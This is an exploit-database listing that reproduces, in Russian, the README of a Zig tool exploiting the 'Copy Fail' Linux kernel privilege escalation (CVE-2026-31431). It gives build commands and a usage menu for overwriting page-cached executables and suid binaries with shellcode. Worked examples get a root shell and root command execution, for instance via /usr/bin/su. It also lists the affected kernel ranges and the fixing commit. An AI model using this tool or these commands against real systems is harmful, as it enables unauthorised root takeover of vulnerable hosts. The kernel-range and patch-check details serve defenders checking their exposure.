Sploitus

Exploit for copy-fail-zig

kitploit · 2026-08-27

Exploit Code

MARKDOWN147 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EMMMMLLLL-COPY-FAIL-ZIG
# Реализация Copy Fail (CVE-2026-31431) на Zig

Реализация на Zig 732-байтового proof of concept для Linux LPE Copy Fail (CVE-2026-31431), раскрытого Theori / Xint 29 апреля 2026 года. Описание можно найти на copy.fail.

Эта реализация не имеет зависимостей времени выполнения и может запускаться как автономный бинарный файл.

# Сборка

Для сборки эксплойта требуется версия zig 0.16.0 или выше, которую можно установить с ziglang.org. Чтобы собрать эксплойт, выполните следующую команду в терминале:

root@kitploit:~
    
    
    zig build
    

При желании его можно кросс-скомпилировать для другой целевой платформы например

root@kitploit:~
    
    
    zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall
    

или с несжатыми полезными нагрузками

root@kitploit:~
    
    
    zig build -Dcompress=false
    

# Использование

либо запустите скомпилированный бинарный файл, либо используйте zig для его запуска

root@kitploit:~
    
    
    zig-out/bin/copyfail
    ИЛИ
    zig build run
    

root@kitploit:~
    
    
    $ zig-out/bin/copyfail
    Использование:
      run     <путь> <данные> [смещение] [-- аргументы...] - Записать данные в исполняемый файл по указанному смещению (по умолчанию 0) и запустить его
      sudo    <путь_suid>   [команда...]          - Выполняет команду от имени root, записывая шеллкод в suid-бинарный файл.
                                                    (первый аргумент команды должен быть полным путём к запускаемой программе)
      modify  <путь> <данные> [смещение]              - Записать данные в файл по указанному смещению (по умолчанию 0)
      reset   <путь>                              - Сбросить файл в исходное состояние
      help                                        - Показать это сообщение
    

Исполняемый файл можно запускать с разными командами:

**`run`** сначала записывает предоставленные данные по указанному смещению (по умолчанию 0) в исполняемый файл по указанному пути, затем запускает его. После завершения выполнения файл сбрасывается в исходное состояние с помощью posix_fadvise.

Пример:

root@kitploit:~
    
    
    copyfail run /путь/к/exe $(cat shellcode_bin) -- /bin/sh
    

**`sudo`** записывает встроенный шеллкод в suid-бинарный файл и выполняет его для запуска команды от имени root. Исходный код шеллкода можно найти в `payloads/sudo.zig`. Первый аргумент команды должен быть полным путём к программе, так как шеллкод не ищет программу для запуска. После завершения выполнения файл сбрасывается, как в команде `run`.

Пример:

root@kitploit:~
    
    
    $ copyfail sudo /usr/bin/su /usr/bin/whoami
    root
    

**`modify`** записывает предоставленные данные по указанному смещению (по умолчанию 0) в файл по указанному пути, без его выполнения. После изменения файл **НЕ** сбрасывается. Используйте команду `reset` для его сброса.

Пример:

root@kitploit:~
    
    
    copyfail modify /путь/к/файлу "Моё новое содержимое" 1337
    

**`reset`** сбрасывает файл по указанному пути в исходное состояние с помощью posix_fadvise. Это отбрасывает кэшированную страницу и при следующем обращении содержимое будет прочитано с диска.

Пример:

root@kitploit:~
    
    
    copyfail reset /путь/к/файлу
    

**`is_vulnerable`** проверяет, уязвима ли система, создавая временный файл, записывая в него тестовые данные и считывая их обратно, чтобы увидеть, не были ли данные повреждены.

Пример:

root@kitploit:~
    
    
    $ copyfail is_vulnerable
    warning: Система уязвима
    ИЛИ
    info: Система не уязвима
    

**`help`** выводит сообщение об использовании.

# Затронутые ядра (из copy-fail-c)

root@kitploit:~
    
    
    нижняя граница:    torvalds/linux 72548b093ee3   август 2017, v4.14
                                            (переработка iov_iter в AF_ALG,
                                             которая ввела примитив записи
                                             в файловую страницу через splice
                                             в scatterlist AEAD)
    
    верхняя граница:  torvalds/linux a664bf3d603d   апрель 2026, mainline
                                            (отменяет оптимизацию algif_aead
                                             на месте от 2017 года; разделяет
                                             исходный и целевой scatterlist,
                                             так что страницы page-cache больше
                                             не могут быть доступным для записи
                                             криптографическим целевым объектом)
    

Между ними: все ядра основных дистрибутивов, которые не перенесли исправление. Ubuntu, RHEL, SUSE, Amazon Linux и Debian были подтверждены как уязвимые в своих стандартных ядрах для облачных образов на момент раскрытия. Бэкпорты на уровне дистрибутивов начали выходить примерно 2026-04-29 вместе с публичным раскрытием. Чтобы проверить, попадает ли целевое ядро в окно уязвимости, проверьте, присутствует ли `a664bf3d603d` (или его бэкпорт для конкретного дистрибутива) в git-логе ядра или в журнале изменений дистрибутива.

# Лицензия и благодарности

Обнаружение и первоначальное раскрытие CVE-2026-31431: Theori / Xint. Публичное описание на copy.fail.

Эта реализация на Zig: Emmmmllll some-email@example.com

Компилятор Zig и стандартная библиотека: Zig Software Foundation на условиях MIT https://codeberg.org/ziglang/zig.

Эксплойт и полезная нагрузка опубликованы для целей исследования безопасности и защитного обнаружения. Использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, — ваша проблема, а не автора.